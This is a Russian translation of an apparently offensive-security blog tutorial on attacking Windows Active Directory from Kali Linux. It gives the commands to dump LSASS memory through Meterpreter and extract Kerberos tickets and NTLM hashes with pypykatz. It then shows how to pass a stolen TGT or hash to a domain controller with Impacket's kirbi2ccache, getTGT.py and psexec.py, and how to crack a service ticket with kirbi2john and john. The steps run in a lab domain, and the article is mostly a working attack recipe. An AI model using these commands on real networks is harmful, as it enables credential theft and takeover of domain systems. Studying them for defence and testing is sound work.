Найти в Дзене

Получение данных с помощью Kerberoasting и Pass The Ticket на Linux

Оглавление

В этой статье пойдет речь о том, как удаленно получить данные с помощью Kerberoasting и Pass The Ticket на Kali Linux. Kerberoasting характеризуется поперечным движением, поэтому, как только хакер проник в клиентскую систему домена и получил шелл компьютера, нужно использовать данный метод для нарушения эксплуатации Kerberos.

Содержание

Pass the ticket

  • kirbi2ccache
  • py

Kerberoasting

  • Kirbi2john

Pass the Ticket: kirbi2ccache

Для того чтобы использовать Kerberos против атак Pass The Ticket или Kerberoasting нужно импортировать файл DMP в локальную машину (Kali Linux) через клиентскую машину и выполнить следующую команду посредством сеанса meterpreter.

load powershell
powershell_shell
Get-Process Lsass
cd C:\Windows\System32
.\rundll32.exe comsvcs.dll, MiniDump 628 C:\lsass.DMP full

Зачем нужен файл Lsass.DMP?

Потому что он хранит билеты TGT & TGS в формате kirby в течение некоторого времени, и с помощью этого файла хакер может получить следующую информацию:

  • NTLM HASH пользователя
  • Билет KRB5_TGT
  • Билет KRB5_TGS
  • NTLM HASH сервера
-2

После того, как был взломан lsass.dmp, следует загрузить его на свой локальный компьютер для извлечения файлов kirby.

download lsass.DMP /root/Desktop/

-3

Надо установить pypykatz для извлечения сохраненных билетов Kerberos в формате Kirby из файла Lsass.DMP, выполнив следующие команды:

mkdir /root/kerb
pypykatz lsa -k /root/kerb minidump /root/Desktop/lsass.DMP

-4

Как можно заметить, пользователь получил все билеты Kerberos в формате kirby, а также хэш NTLM для пользователя Yashika.

В данном случае используется билет KRB5_TGT, авторизованный для пользователя “Yashika”. Нужно попробовать его активировать, чтобы получить TGS и добраться к необходимым функциям

Kirbi2ccache — это скрипт python, который относится к библиотеке Impacket, Преобразуя файл формата kirbi в ccache, а затем используя Export KRB5CCCNAME для внедрения файла ccache в DC, пользователь сможет получить доступ к запрашивающему сервису.

-5

kirbi2ccache TGT_IGNITE.LOCAL_yashika_krbtgt_IGNITE.LOCAL_6d469878.kirbi yashika.ccache
export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip 192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local

-6

Impacket GetTGT.py

Аналогичный результат может быть получен с помощью getTGT.py, так как он запросит TGT и сохранит его как ccache, предоставив пароль, хэш или aesKey.

Для пользователя Yashika уже был извлечен хэш NTLM. Теперь необходимо использовать следующую команду, чтобы запросить TGT от DC и сохранить его в формате ccache. Сбоку появится возможность ввести файл ccache в DC с помощью Export KRB5CCNAME, чтобы получить доступ к запрашивающему сервису.

python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef151e03 ignite.local/yashika
export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip 192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local

-7

Kerberosasting: kirbi2john

Как уже было сказано, с помощью хранящихся KRB5_TGS можно извлечь хэши NTLM для сервера обслуживания и попытаться взломать его, чтобы получить пароль в открытом тексте или использовать этот хэш для проведения атаки Kerberosasting.

Теперь, как видно на картинке, был определен KRB5_TGS для SQL Server в формате kirbi и после преобразован в формат john crackable с помощью kirbi2john.py (возможно в /usr / share/john/ он называется «TGS hash»); затем используется john для получения пароля с помощью лобовой атаки.

/usr/share/john/kirbi2john.py <KRB5_TGS kirbi> > <Output file name>
john --wordlist=/usr/share/wordlists/rockyou.txt TGS_hash

Ура! Пароль для SQL-сервера получен.

-8

Автор переведенной статьи: Raj Chandel